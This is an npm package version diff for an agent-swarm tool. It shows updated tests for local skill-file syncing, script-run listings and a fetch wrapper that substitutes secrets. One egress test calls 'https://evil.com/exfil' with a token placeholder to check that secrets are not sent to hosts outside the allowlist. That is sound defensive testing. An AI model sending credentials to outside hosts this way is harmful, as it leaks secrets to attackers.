@desplega.ai/agent-swarm 1.92.2 → 1.93.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/openapi.json +63 -3
- package/package.json +5 -5
- package/src/be/db.ts +91 -6
- package/src/be/memory/boot-reembed.ts +0 -1
- package/src/be/memory/providers/sqlite-store.ts +42 -25
- package/src/be/memory/raters/llm-client.ts +12 -5
- package/src/be/memory/types.ts +3 -0
- package/src/be/migrations/088_script_runs_list_indexes.sql +10 -0
- package/src/be/migrations/089_harness_variant.sql +2 -0
- package/src/be/modelsdev-cache.json +1222 -986
- package/src/be/seed-pricing.ts +1 -0
- package/src/be/seed-scripts/catalog/boot-triage.inline.ts +221 -0
- package/src/be/seed-scripts/catalog/catalog-report.inline.ts +457 -0
- package/src/be/seed-scripts/catalog/compound-insights.inline.ts +863 -0
- package/src/be/seed-scripts/catalog/ops-catalog-audit.inline.ts +506 -0
- package/src/be/seed-scripts/index.ts +5 -5
- package/src/be/skill-sync.ts +28 -179
- package/src/commands/runner.ts +124 -7
- package/src/http/api-keys.ts +42 -0
- package/src/http/mcp-bridge.ts +1 -1
- package/src/http/memory.ts +23 -24
- package/src/http/tasks.ts +10 -6
- package/src/providers/claude-adapter.ts +33 -1
- package/src/providers/claude-managed-adapter.ts +3 -0
- package/src/providers/claude-managed-models.ts +7 -0
- package/src/providers/codex-adapter.ts +8 -1
- package/src/providers/codex-models.ts +1 -0
- package/src/providers/codex-oauth/auth-json.ts +1 -0
- package/src/providers/harness-version.ts +7 -0
- package/src/providers/opencode-adapter.ts +11 -4
- package/src/providers/pi-mono-adapter.ts +12 -2
- package/src/providers/types.ts +2 -0
- package/src/scripts-runtime/egress-secrets.ts +83 -0
- package/src/scripts-runtime/eval-harness.ts +4 -0
- package/src/scripts-runtime/executors/types.ts +7 -0
- package/src/scripts-runtime/loader.ts +2 -0
- package/src/server-user.ts +2 -2
- package/src/slack/channel-join.ts +41 -0
- package/src/tests/additive-buffer.test.ts +0 -1
- package/src/tests/api-key-tracking.test.ts +113 -0
- package/src/tests/approval-requests.test.ts +0 -6
- package/src/tests/claude-managed-setup.test.ts +0 -4
- package/src/tests/codex-pool.test.ts +2 -6
- package/src/tests/http-api-integration.test.ts +4 -6
- package/src/tests/memory-edges.test.ts +0 -2
- package/src/tests/memory-rate-endpoint.test.ts +0 -2
- package/src/tests/memory-rater-e2e.test.ts +0 -2
- package/src/tests/memory-store.test.ts +19 -1
- package/src/tests/memory.test.ts +51 -0
- package/src/tests/model-control.test.ts +1 -1
- package/src/tests/reload-config.test.ts +33 -17
- package/src/tests/runner-skills-refresh.test.ts +216 -46
- package/src/tests/script-runs-http.test.ts +7 -1
- package/src/tests/scripts-runtime-secret-egress.test.ts +129 -0
- package/src/tests/seed-scripts.test.ts +13 -1
- package/src/tests/session-attach.test.ts +6 -6
- package/src/tests/skill-fs-writer.test.ts +250 -0
- package/src/tests/slack-attachments-block.test.ts +0 -1
- package/src/tests/slack-blocks.test.ts +0 -1
- package/src/tests/slack-channel-join.test.ts +80 -0
- package/src/tests/slack-identity-resolution.test.ts +0 -1
- package/src/tests/structured-output.test.ts +0 -2
- package/src/tests/use-dismissible-card.test.ts +0 -4
- package/src/tools/schedules/create-schedule.ts +2 -2
- package/src/tools/schedules/update-schedule.ts +1 -1
- package/src/tools/send-task.ts +2 -2
- package/src/tools/slack-post.ts +18 -15
- package/src/tools/slack-read.ts +9 -11
- package/src/tools/slack-reply.ts +18 -15
- package/src/tools/slack-start-thread.ts +17 -14
- package/src/tools/task-action.ts +2 -2
- package/src/types.ts +11 -0
- package/src/utils/context-window.ts +3 -0
- package/src/utils/credentials.ts +22 -2
- package/src/utils/skill-fs-writer.ts +220 -0
- package/src/utils/skills-refresh.ts +123 -40
|
@@ -1,34 +1,68 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* Coverage for the worker-side `refreshSkillsIfChanged()` helper. The helper
|
|
3
3
|
* is exercised against a Bun.serve() stub that mimics the signature + list
|
|
4
|
-
*
|
|
5
|
-
*
|
|
6
|
-
*
|
|
4
|
+
* endpoints. Cases lock down its contract: cheap probe on no-change, full
|
|
5
|
+
* refresh on hash drift, inactive/disabled filtering, transient 5xx swallowed,
|
|
6
|
+
* local FS write (not POST to /api/skills/sync-filesystem), and hash-caching
|
|
7
|
+
* only on successful local write.
|
|
7
8
|
*/
|
|
8
9
|
import { afterAll, beforeAll, describe, expect, test } from "bun:test";
|
|
10
|
+
import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs";
|
|
11
|
+
import { tmpdir } from "node:os";
|
|
12
|
+
import { join } from "node:path";
|
|
9
13
|
import { refreshSkillsIfChanged, type SkillsRefreshContext } from "../utils/skills-refresh";
|
|
10
14
|
|
|
11
|
-
// ── Bun.serve() stub backing fake signature/list
|
|
15
|
+
// ── Bun.serve() stub backing fake signature/list endpoints ───────────────────
|
|
16
|
+
|
|
17
|
+
type SkillStub = {
|
|
18
|
+
id: string;
|
|
19
|
+
name: string;
|
|
20
|
+
description: string;
|
|
21
|
+
content: string | null;
|
|
22
|
+
isComplex: boolean;
|
|
23
|
+
isActive: boolean;
|
|
24
|
+
isEnabled: boolean;
|
|
25
|
+
};
|
|
12
26
|
|
|
13
27
|
type StubState = {
|
|
14
28
|
signatureHash: string;
|
|
15
29
|
signatureStatus: number;
|
|
16
|
-
|
|
30
|
+
listStatus: number;
|
|
17
31
|
skillsBody: {
|
|
18
|
-
skills:
|
|
32
|
+
skills: SkillStub[];
|
|
19
33
|
signature: string;
|
|
20
34
|
};
|
|
21
35
|
calls: { signature: number; list: number; sync: number };
|
|
36
|
+
skillFilesStatus: number;
|
|
22
37
|
};
|
|
23
38
|
|
|
39
|
+
const FAKE_HOME = join(tmpdir(), `runner-refresh-test-${process.pid}`);
|
|
40
|
+
|
|
24
41
|
const state: StubState = {
|
|
25
42
|
signatureHash: "hash-v1",
|
|
26
43
|
signatureStatus: 200,
|
|
27
|
-
|
|
44
|
+
listStatus: 200,
|
|
45
|
+
skillFilesStatus: 200,
|
|
28
46
|
skillsBody: {
|
|
29
47
|
skills: [
|
|
30
|
-
{
|
|
31
|
-
|
|
48
|
+
{
|
|
49
|
+
id: "skill-alpha",
|
|
50
|
+
name: "alpha",
|
|
51
|
+
description: "first skill",
|
|
52
|
+
content: "---\nname: alpha\n---\n\nAlpha body.",
|
|
53
|
+
isComplex: false,
|
|
54
|
+
isActive: true,
|
|
55
|
+
isEnabled: true,
|
|
56
|
+
},
|
|
57
|
+
{
|
|
58
|
+
id: "skill-beta",
|
|
59
|
+
name: "beta",
|
|
60
|
+
description: "second skill",
|
|
61
|
+
content: "---\nname: beta\n---\n\nBeta body.",
|
|
62
|
+
isComplex: false,
|
|
63
|
+
isActive: true,
|
|
64
|
+
isEnabled: true,
|
|
65
|
+
},
|
|
32
66
|
],
|
|
33
67
|
signature: "hash-v1",
|
|
34
68
|
},
|
|
@@ -40,6 +74,8 @@ let baseUrl = "";
|
|
|
40
74
|
|
|
41
75
|
describe("refreshSkillsIfChanged", () => {
|
|
42
76
|
beforeAll(() => {
|
|
77
|
+
mkdirSync(FAKE_HOME, { recursive: true });
|
|
78
|
+
|
|
43
79
|
server = Bun.serve({
|
|
44
80
|
port: 0,
|
|
45
81
|
fetch(req) {
|
|
@@ -57,18 +93,23 @@ describe("refreshSkillsIfChanged", () => {
|
|
|
57
93
|
}
|
|
58
94
|
if (url.pathname.match(/\/api\/agents\/[^/]+\/skills$/)) {
|
|
59
95
|
state.calls.list++;
|
|
96
|
+
if (state.listStatus !== 200) {
|
|
97
|
+
return new Response("err", { status: state.listStatus });
|
|
98
|
+
}
|
|
60
99
|
return Response.json({
|
|
61
100
|
skills: state.skillsBody.skills,
|
|
62
101
|
total: state.skillsBody.skills.length,
|
|
63
102
|
signature: state.skillsBody.signature,
|
|
64
103
|
});
|
|
65
104
|
}
|
|
105
|
+
// Track that the old sync-filesystem endpoint is NOT called
|
|
66
106
|
if (url.pathname === "/api/skills/sync-filesystem") {
|
|
67
107
|
state.calls.sync++;
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
108
|
+
return Response.json({ synced: 0, removed: 0, errors: [] });
|
|
109
|
+
}
|
|
110
|
+
// Complex skill: file manifest
|
|
111
|
+
if (url.pathname.match(/\/api\/skills\/[^/]+\/files$/) && state.skillFilesStatus === 200) {
|
|
112
|
+
return Response.json({ files: [], total: 0 });
|
|
72
113
|
}
|
|
73
114
|
return new Response("not found", { status: 404 });
|
|
74
115
|
},
|
|
@@ -78,6 +119,7 @@ describe("refreshSkillsIfChanged", () => {
|
|
|
78
119
|
|
|
79
120
|
afterAll(() => {
|
|
80
121
|
server?.stop(true);
|
|
122
|
+
rmSync(FAKE_HOME, { recursive: true, force: true });
|
|
81
123
|
});
|
|
82
124
|
|
|
83
125
|
function makeCtx(): SkillsRefreshContext {
|
|
@@ -90,13 +132,22 @@ describe("refreshSkillsIfChanged", () => {
|
|
|
90
132
|
};
|
|
91
133
|
}
|
|
92
134
|
|
|
93
|
-
|
|
135
|
+
// Thin helper to pass homeOverride through to refreshSkillsIfChanged
|
|
136
|
+
async function refreshWithHome(
|
|
137
|
+
ctx: SkillsRefreshContext,
|
|
138
|
+
lastHashRef: { current: string | null },
|
|
139
|
+
home: string,
|
|
140
|
+
) {
|
|
141
|
+
return refreshSkillsIfChanged(ctx, lastHashRef, home);
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
test("first call writes SKILL.md to local HOME and updates cached hash", async () => {
|
|
94
145
|
state.calls = { signature: 0, list: 0, sync: 0 };
|
|
95
146
|
state.signatureHash = "hash-v1";
|
|
96
147
|
state.skillsBody.signature = "hash-v1";
|
|
97
148
|
|
|
98
149
|
const lastHash = { current: null as string | null };
|
|
99
|
-
const result = await
|
|
150
|
+
const result = await refreshWithHome(makeCtx(), lastHash, FAKE_HOME);
|
|
100
151
|
|
|
101
152
|
expect(result.changed).toBe(true);
|
|
102
153
|
expect(result.summary).toEqual([
|
|
@@ -104,14 +155,24 @@ describe("refreshSkillsIfChanged", () => {
|
|
|
104
155
|
{ name: "beta", description: "second skill" },
|
|
105
156
|
]);
|
|
106
157
|
expect(lastHash.current).toBe("hash-v1");
|
|
107
|
-
|
|
158
|
+
|
|
159
|
+
// SKILL.md files must be written on the local worker disk
|
|
160
|
+
const alphaFile = join(FAKE_HOME, ".claude", "skills", "alpha", "SKILL.md");
|
|
161
|
+
const betaFile = join(FAKE_HOME, ".claude", "skills", "beta", "SKILL.md");
|
|
162
|
+
expect(existsSync(alphaFile)).toBe(true);
|
|
163
|
+
expect(readFileSync(alphaFile, "utf-8")).toContain("Alpha body.");
|
|
164
|
+
expect(existsSync(betaFile)).toBe(true);
|
|
165
|
+
|
|
166
|
+
// Must NOT have called /api/skills/sync-filesystem
|
|
167
|
+
expect(state.calls.sync).toBe(0);
|
|
168
|
+
expect(state.calls).toEqual({ signature: 1, list: 1, sync: 0 });
|
|
108
169
|
});
|
|
109
170
|
|
|
110
|
-
test("subsequent call with unchanged hash skips list +
|
|
171
|
+
test("subsequent call with unchanged hash skips list + write", async () => {
|
|
111
172
|
state.calls = { signature: 0, list: 0, sync: 0 };
|
|
112
173
|
const lastHash = { current: "hash-v1" };
|
|
113
174
|
|
|
114
|
-
const result = await
|
|
175
|
+
const result = await refreshWithHome(makeCtx(), lastHash, FAKE_HOME);
|
|
115
176
|
|
|
116
177
|
expect(result.changed).toBe(false);
|
|
117
178
|
expect(result.summary).toBeUndefined();
|
|
@@ -119,82 +180,191 @@ describe("refreshSkillsIfChanged", () => {
|
|
|
119
180
|
expect(state.calls).toEqual({ signature: 1, list: 0, sync: 0 });
|
|
120
181
|
});
|
|
121
182
|
|
|
122
|
-
test("hash drift refetches list
|
|
183
|
+
test("hash drift refetches list, writes new skill, updates cached hash", async () => {
|
|
123
184
|
state.calls = { signature: 0, list: 0, sync: 0 };
|
|
124
185
|
state.signatureHash = "hash-v2";
|
|
125
186
|
state.skillsBody.signature = "hash-v2";
|
|
126
187
|
state.skillsBody.skills = [
|
|
127
|
-
{
|
|
128
|
-
|
|
129
|
-
|
|
188
|
+
{
|
|
189
|
+
id: "skill-alpha",
|
|
190
|
+
name: "alpha",
|
|
191
|
+
description: "first skill",
|
|
192
|
+
content: "---\nname: alpha\n---\n\nAlpha updated.",
|
|
193
|
+
isComplex: false,
|
|
194
|
+
isActive: true,
|
|
195
|
+
isEnabled: true,
|
|
196
|
+
},
|
|
197
|
+
{
|
|
198
|
+
id: "skill-beta",
|
|
199
|
+
name: "beta",
|
|
200
|
+
description: "second skill",
|
|
201
|
+
content: "---\nname: beta\n---\n\nBeta body.",
|
|
202
|
+
isComplex: false,
|
|
203
|
+
isActive: true,
|
|
204
|
+
isEnabled: true,
|
|
205
|
+
},
|
|
206
|
+
{
|
|
207
|
+
id: "skill-gamma",
|
|
208
|
+
name: "gamma",
|
|
209
|
+
description: "third skill",
|
|
210
|
+
content: "---\nname: gamma\n---\n\nGamma body.",
|
|
211
|
+
isComplex: false,
|
|
212
|
+
isActive: true,
|
|
213
|
+
isEnabled: true,
|
|
214
|
+
},
|
|
130
215
|
];
|
|
131
216
|
|
|
132
217
|
const lastHash = { current: "hash-v1" };
|
|
133
|
-
const result = await
|
|
218
|
+
const result = await refreshWithHome(makeCtx(), lastHash, FAKE_HOME);
|
|
134
219
|
|
|
135
220
|
expect(result.changed).toBe(true);
|
|
136
221
|
expect(result.summary).toHaveLength(3);
|
|
137
222
|
expect(lastHash.current).toBe("hash-v2");
|
|
138
|
-
|
|
223
|
+
|
|
224
|
+
const gammaFile = join(FAKE_HOME, ".claude", "skills", "gamma", "SKILL.md");
|
|
225
|
+
expect(existsSync(gammaFile)).toBe(true);
|
|
226
|
+
expect(readFileSync(gammaFile, "utf-8")).toContain("Gamma body.");
|
|
227
|
+
expect(state.calls.sync).toBe(0); // never POSTed
|
|
139
228
|
});
|
|
140
229
|
|
|
141
|
-
test("filters out inactive or disabled skills from
|
|
230
|
+
test("filters out inactive or disabled skills from summary and does not write them", async () => {
|
|
142
231
|
state.calls = { signature: 0, list: 0, sync: 0 };
|
|
143
232
|
state.signatureHash = "hash-v3";
|
|
144
233
|
state.skillsBody.signature = "hash-v3";
|
|
145
234
|
state.skillsBody.skills = [
|
|
146
|
-
{
|
|
147
|
-
|
|
148
|
-
|
|
235
|
+
{
|
|
236
|
+
id: "skill-active",
|
|
237
|
+
name: "active-skill",
|
|
238
|
+
description: "kept",
|
|
239
|
+
content: "# Active",
|
|
240
|
+
isComplex: false,
|
|
241
|
+
isActive: true,
|
|
242
|
+
isEnabled: true,
|
|
243
|
+
},
|
|
244
|
+
{
|
|
245
|
+
id: "skill-disabled",
|
|
246
|
+
name: "disabled-skill",
|
|
247
|
+
description: "dropped",
|
|
248
|
+
content: "# Disabled",
|
|
249
|
+
isComplex: false,
|
|
250
|
+
isActive: true,
|
|
251
|
+
isEnabled: false,
|
|
252
|
+
},
|
|
253
|
+
{
|
|
254
|
+
id: "skill-inactive",
|
|
255
|
+
name: "inactive-skill",
|
|
256
|
+
description: "dropped",
|
|
257
|
+
content: "# Inactive",
|
|
258
|
+
isComplex: false,
|
|
259
|
+
isActive: false,
|
|
260
|
+
isEnabled: true,
|
|
261
|
+
},
|
|
149
262
|
];
|
|
150
263
|
|
|
151
264
|
const lastHash = { current: "hash-v2" };
|
|
152
|
-
const result = await
|
|
265
|
+
const result = await refreshWithHome(makeCtx(), lastHash, FAKE_HOME);
|
|
153
266
|
|
|
154
267
|
expect(result.changed).toBe(true);
|
|
155
|
-
expect(result.summary).toEqual([{ name: "active", description: "kept" }]);
|
|
268
|
+
expect(result.summary).toEqual([{ name: "active-skill", description: "kept" }]);
|
|
269
|
+
|
|
270
|
+
const disabledFile = join(FAKE_HOME, ".claude", "skills", "disabled-skill", "SKILL.md");
|
|
271
|
+
const inactiveFile = join(FAKE_HOME, ".claude", "skills", "inactive-skill", "SKILL.md");
|
|
272
|
+
expect(existsSync(disabledFile)).toBe(false);
|
|
273
|
+
expect(existsSync(inactiveFile)).toBe(false);
|
|
156
274
|
});
|
|
157
275
|
|
|
158
|
-
test("transient 5xx on signature endpoint returns changed:false without touching list/
|
|
276
|
+
test("transient 5xx on signature endpoint returns changed:false without touching list/write", async () => {
|
|
159
277
|
state.calls = { signature: 0, list: 0, sync: 0 };
|
|
160
278
|
state.signatureStatus = 503;
|
|
161
279
|
|
|
162
280
|
const lastHash = { current: "hash-v3" };
|
|
163
|
-
const result = await
|
|
281
|
+
const result = await refreshWithHome(makeCtx(), lastHash, FAKE_HOME);
|
|
164
282
|
|
|
165
283
|
expect(result.changed).toBe(false);
|
|
166
284
|
expect(lastHash.current).toBe("hash-v3");
|
|
167
285
|
expect(state.calls).toEqual({ signature: 1, list: 0, sync: 0 });
|
|
168
286
|
|
|
169
|
-
state.signatureStatus = 200; // restore
|
|
287
|
+
state.signatureStatus = 200; // restore
|
|
170
288
|
});
|
|
171
289
|
|
|
172
|
-
test("
|
|
173
|
-
//
|
|
290
|
+
test("local write failure leaves cached hash unchanged so the next poll retries", async () => {
|
|
291
|
+
// Use a read-only HOME path to force a write failure
|
|
292
|
+
const readOnlyHome = join(FAKE_HOME, "readonly-home");
|
|
293
|
+
mkdirSync(readOnlyHome, { recursive: true });
|
|
294
|
+
|
|
174
295
|
state.signatureHash = "hash-v4";
|
|
175
296
|
state.skillsBody.signature = "hash-v4";
|
|
176
297
|
state.skillsBody.skills = [
|
|
177
|
-
{
|
|
298
|
+
{
|
|
299
|
+
id: "skill-alpha",
|
|
300
|
+
name: "alpha",
|
|
301
|
+
description: "first",
|
|
302
|
+
content: "# Alpha",
|
|
303
|
+
isComplex: false,
|
|
304
|
+
isActive: true,
|
|
305
|
+
isEnabled: true,
|
|
306
|
+
},
|
|
178
307
|
];
|
|
179
|
-
state.syncStatus = 503;
|
|
180
308
|
state.calls = { signature: 0, list: 0, sync: 0 };
|
|
181
309
|
|
|
310
|
+
// Make the claude skills dir a FILE (not a dir) so mkdir fails on write
|
|
311
|
+
const blockerPath = join(readOnlyHome, ".claude");
|
|
312
|
+
mkdirSync(join(readOnlyHome), { recursive: true });
|
|
313
|
+
// Write a file at .claude to block mkdirSync from creating it as a dir
|
|
314
|
+
writeFileSync(blockerPath, "blocker");
|
|
315
|
+
|
|
182
316
|
const lastHash = { current: "hash-prev" };
|
|
183
|
-
const first = await
|
|
317
|
+
const first = await refreshWithHome(makeCtx(), lastHash, readOnlyHome);
|
|
184
318
|
|
|
185
|
-
// Summary still returns (the list call succeeded), but
|
|
186
|
-
//
|
|
187
|
-
// short-circuit and the FS would stay stale forever.
|
|
319
|
+
// Summary still returns (the list call succeeded), but cached hash must
|
|
320
|
+
// NOT advance — FS write failed
|
|
188
321
|
expect(first.changed).toBe(true);
|
|
189
322
|
expect(first.summary).toEqual([{ name: "alpha", description: "first" }]);
|
|
190
323
|
expect(lastHash.current).toBe("hash-prev");
|
|
191
|
-
expect(state.calls).
|
|
324
|
+
expect(state.calls.sync).toBe(0); // still never calls sync-filesystem
|
|
192
325
|
|
|
193
|
-
//
|
|
194
|
-
|
|
195
|
-
|
|
326
|
+
// Clean up the blocker
|
|
327
|
+
rmSync(readOnlyHome, { recursive: true, force: true });
|
|
328
|
+
|
|
329
|
+
// Normal write in a clean home recovers — next poll retries because hash differs
|
|
330
|
+
state.calls = { signature: 0, list: 0, sync: 0 };
|
|
331
|
+
const cleanHome = join(FAKE_HOME, "clean-home");
|
|
332
|
+
mkdirSync(cleanHome, { recursive: true });
|
|
333
|
+
const second = await refreshWithHome(makeCtx(), lastHash, cleanHome);
|
|
196
334
|
expect(second.changed).toBe(true);
|
|
197
335
|
expect(lastHash.current).toBe("hash-v4");
|
|
198
|
-
expect(state.calls).
|
|
336
|
+
expect(state.calls.sync).toBe(0);
|
|
337
|
+
rmSync(cleanHome, { recursive: true, force: true });
|
|
338
|
+
});
|
|
339
|
+
|
|
340
|
+
test("list fetch failure after signature drift leaves pre-existing skills on disk and does not advance hash", async () => {
|
|
341
|
+
// Arrange: fresh isolated home with a pre-existing swarm-managed skill
|
|
342
|
+
const isolatedHome = join(FAKE_HOME, "list-fail-home");
|
|
343
|
+
const skillDir = join(isolatedHome, ".claude", "skills", "pre-existing");
|
|
344
|
+
mkdirSync(skillDir, { recursive: true });
|
|
345
|
+
writeFileSync(join(skillDir, ".swarm-managed"), "");
|
|
346
|
+
writeFileSync(join(skillDir, "SKILL.md"), "# Pre-existing skill");
|
|
347
|
+
|
|
348
|
+
// Simulate signature drift so the list endpoint is called
|
|
349
|
+
state.signatureHash = "hash-new";
|
|
350
|
+
state.listStatus = 503; // List fetch fails
|
|
351
|
+
state.calls = { signature: 0, list: 0, sync: 0 };
|
|
352
|
+
|
|
353
|
+
const lastHash = { current: "hash-old" };
|
|
354
|
+
const result = await refreshWithHome(makeCtx(), lastHash, isolatedHome);
|
|
355
|
+
|
|
356
|
+
// Must bail out without touching disk
|
|
357
|
+
expect(result.changed).toBe(false);
|
|
358
|
+
// Cached hash must NOT advance — disk is still in "old" state
|
|
359
|
+
expect(lastHash.current).toBe("hash-old");
|
|
360
|
+
// List endpoint was called (signature differed) but the failure must bail early
|
|
361
|
+
expect(state.calls.list).toBe(1);
|
|
362
|
+
// Pre-existing managed skill file must survive
|
|
363
|
+
expect(existsSync(join(skillDir, "SKILL.md"))).toBe(true);
|
|
364
|
+
expect(readFileSync(join(skillDir, "SKILL.md"), "utf-8")).toBe("# Pre-existing skill");
|
|
365
|
+
|
|
366
|
+
// Restore
|
|
367
|
+
state.listStatus = 200;
|
|
368
|
+
rmSync(isolatedHome, { recursive: true, force: true });
|
|
199
369
|
});
|
|
200
370
|
});
|
|
@@ -141,9 +141,15 @@ describe("/api/script-runs HTTP", () => {
|
|
|
141
141
|
|
|
142
142
|
const listed = await dispatch("/api/script-runs", { agentId });
|
|
143
143
|
expect(listed.status).toBe(200);
|
|
144
|
-
const listBody = (await listed.json()) as {
|
|
144
|
+
const listBody = (await listed.json()) as {
|
|
145
|
+
runs: Array<{ id: string; source?: string; args?: unknown; output?: unknown }>;
|
|
146
|
+
total: number;
|
|
147
|
+
};
|
|
145
148
|
expect(listBody.total).toBe(1);
|
|
146
149
|
expect(listBody.runs[0]?.id).toBe(body.id);
|
|
150
|
+
expect(listBody.runs[0]?.source).toBeUndefined();
|
|
151
|
+
expect(listBody.runs[0]?.args).toBeUndefined();
|
|
152
|
+
expect(listBody.runs[0]?.output).toBeUndefined();
|
|
147
153
|
});
|
|
148
154
|
|
|
149
155
|
test("returns the existing run for an idempotency key", async () => {
|
|
@@ -1,4 +1,8 @@
|
|
|
1
1
|
import { afterEach, beforeEach, describe, expect, test } from "bun:test";
|
|
2
|
+
import {
|
|
3
|
+
buildEgressSecrets,
|
|
4
|
+
patchFetchWithEgressSubstitution,
|
|
5
|
+
} from "../scripts-runtime/egress-secrets";
|
|
2
6
|
import { runScript } from "../scripts-runtime/loader";
|
|
3
7
|
import { refreshSecretScrubberCache } from "../utils/secret-scrubber";
|
|
4
8
|
|
|
@@ -42,3 +46,128 @@ describe("runtime secret egress", () => {
|
|
|
42
46
|
expect(output.result).toEqual({ wrapped: "<redacted>" });
|
|
43
47
|
});
|
|
44
48
|
});
|
|
49
|
+
|
|
50
|
+
describe("egress-substitution", () => {
|
|
51
|
+
describe("buildEgressSecrets", () => {
|
|
52
|
+
test("includes GITHUB_TOKEN when set in env", () => {
|
|
53
|
+
process.env.GITHUB_TOKEN = "ghp_test1234567890abcdef";
|
|
54
|
+
const secrets = buildEgressSecrets();
|
|
55
|
+
expect(secrets).toEqual([
|
|
56
|
+
{
|
|
57
|
+
placeholder: "[REDACTED:GITHUB_TOKEN]",
|
|
58
|
+
hosts: ["api.github.com"],
|
|
59
|
+
value: "ghp_test1234567890abcdef",
|
|
60
|
+
},
|
|
61
|
+
]);
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
test("returns empty array when GITHUB_TOKEN not set", () => {
|
|
65
|
+
delete process.env.GITHUB_TOKEN;
|
|
66
|
+
const secrets = buildEgressSecrets();
|
|
67
|
+
expect(secrets).toEqual([]);
|
|
68
|
+
});
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
describe("patchFetchWithEgressSubstitution", () => {
|
|
72
|
+
let originalFetch: typeof globalThis.fetch;
|
|
73
|
+
|
|
74
|
+
beforeEach(() => {
|
|
75
|
+
originalFetch = globalThis.fetch;
|
|
76
|
+
});
|
|
77
|
+
|
|
78
|
+
afterEach(() => {
|
|
79
|
+
globalThis.fetch = originalFetch;
|
|
80
|
+
});
|
|
81
|
+
|
|
82
|
+
test("substitutes placeholder in Authorization header for allowlisted host", async () => {
|
|
83
|
+
let capturedHeaders: Headers | undefined;
|
|
84
|
+
globalThis.fetch = async (_input: any, init?: any) => {
|
|
85
|
+
capturedHeaders = new Headers(init?.headers);
|
|
86
|
+
return new Response(JSON.stringify({ ok: true }), { status: 200 });
|
|
87
|
+
};
|
|
88
|
+
|
|
89
|
+
patchFetchWithEgressSubstitution([
|
|
90
|
+
{
|
|
91
|
+
placeholder: "[REDACTED:GITHUB_TOKEN]",
|
|
92
|
+
hosts: ["api.github.com"],
|
|
93
|
+
value: "ghp_real_secret_value_123",
|
|
94
|
+
},
|
|
95
|
+
]);
|
|
96
|
+
|
|
97
|
+
await globalThis.fetch("https://api.github.com/repos/test/test", {
|
|
98
|
+
headers: { Authorization: "Bearer [REDACTED:GITHUB_TOKEN]" },
|
|
99
|
+
});
|
|
100
|
+
|
|
101
|
+
expect(capturedHeaders?.get("authorization")).toBe("Bearer ghp_real_secret_value_123");
|
|
102
|
+
});
|
|
103
|
+
|
|
104
|
+
test("does NOT substitute for non-allowlisted host", async () => {
|
|
105
|
+
let capturedHeaders: Headers | undefined;
|
|
106
|
+
globalThis.fetch = async (_input: any, init?: any) => {
|
|
107
|
+
capturedHeaders = new Headers(init?.headers);
|
|
108
|
+
return new Response(JSON.stringify({ ok: true }), { status: 200 });
|
|
109
|
+
};
|
|
110
|
+
|
|
111
|
+
patchFetchWithEgressSubstitution([
|
|
112
|
+
{
|
|
113
|
+
placeholder: "[REDACTED:GITHUB_TOKEN]",
|
|
114
|
+
hosts: ["api.github.com"],
|
|
115
|
+
value: "ghp_real_secret_value_123",
|
|
116
|
+
},
|
|
117
|
+
]);
|
|
118
|
+
|
|
119
|
+
await globalThis.fetch("https://evil.com/exfil", {
|
|
120
|
+
headers: { Authorization: "Bearer [REDACTED:GITHUB_TOKEN]" },
|
|
121
|
+
});
|
|
122
|
+
|
|
123
|
+
expect(capturedHeaders?.get("authorization")).toBe("Bearer [REDACTED:GITHUB_TOKEN]");
|
|
124
|
+
});
|
|
125
|
+
|
|
126
|
+
test("passes through requests with no redacted placeholders", async () => {
|
|
127
|
+
let callCount = 0;
|
|
128
|
+
globalThis.fetch = async (_input: any, _init?: any) => {
|
|
129
|
+
callCount++;
|
|
130
|
+
return new Response("ok", { status: 200 });
|
|
131
|
+
};
|
|
132
|
+
|
|
133
|
+
patchFetchWithEgressSubstitution([
|
|
134
|
+
{
|
|
135
|
+
placeholder: "[REDACTED:GITHUB_TOKEN]",
|
|
136
|
+
hosts: ["api.github.com"],
|
|
137
|
+
value: "ghp_real_secret_value_123",
|
|
138
|
+
},
|
|
139
|
+
]);
|
|
140
|
+
|
|
141
|
+
await globalThis.fetch("https://api.github.com/repos/test/test", {
|
|
142
|
+
headers: { Accept: "application/json" },
|
|
143
|
+
});
|
|
144
|
+
|
|
145
|
+
expect(callCount).toBe(1);
|
|
146
|
+
});
|
|
147
|
+
|
|
148
|
+
test("does not substitute in request body", async () => {
|
|
149
|
+
let capturedBody: string | undefined;
|
|
150
|
+
globalThis.fetch = async (_input: any, init?: any) => {
|
|
151
|
+
capturedBody = init?.body;
|
|
152
|
+
return new Response("ok", { status: 200 });
|
|
153
|
+
};
|
|
154
|
+
|
|
155
|
+
patchFetchWithEgressSubstitution([
|
|
156
|
+
{
|
|
157
|
+
placeholder: "[REDACTED:GITHUB_TOKEN]",
|
|
158
|
+
hosts: ["api.github.com"],
|
|
159
|
+
value: "ghp_real_secret_value_123",
|
|
160
|
+
},
|
|
161
|
+
]);
|
|
162
|
+
|
|
163
|
+
await globalThis.fetch("https://api.github.com/gists", {
|
|
164
|
+
method: "POST",
|
|
165
|
+
headers: { Authorization: "Bearer [REDACTED:GITHUB_TOKEN]" },
|
|
166
|
+
body: JSON.stringify({ content: "[REDACTED:GITHUB_TOKEN]" }),
|
|
167
|
+
});
|
|
168
|
+
|
|
169
|
+
expect(capturedBody).toContain("[REDACTED:GITHUB_TOKEN]");
|
|
170
|
+
expect(capturedBody).not.toContain("ghp_real_secret_value_123");
|
|
171
|
+
});
|
|
172
|
+
});
|
|
173
|
+
});
|
|
@@ -53,7 +53,7 @@ afterAll(async () => {
|
|
|
53
53
|
});
|
|
54
54
|
|
|
55
55
|
describe("seed-scripts catalog", () => {
|
|
56
|
-
test("manifest holds
|
|
56
|
+
test("manifest holds 18 unique, well-described scripts", () => {
|
|
57
57
|
expect(SEED_SCRIPTS.length).toBe(18);
|
|
58
58
|
const names = SEED_SCRIPTS.map((s) => s.name);
|
|
59
59
|
expect(new Set(names).size).toBe(names.length);
|
|
@@ -66,6 +66,18 @@ describe("seed-scripts catalog", () => {
|
|
|
66
66
|
}
|
|
67
67
|
});
|
|
68
68
|
|
|
69
|
+
test("inline catalog files stay in sync with their runtime files", async () => {
|
|
70
|
+
const catalogDir = join(import.meta.dir, "../be/seed-scripts/catalog");
|
|
71
|
+
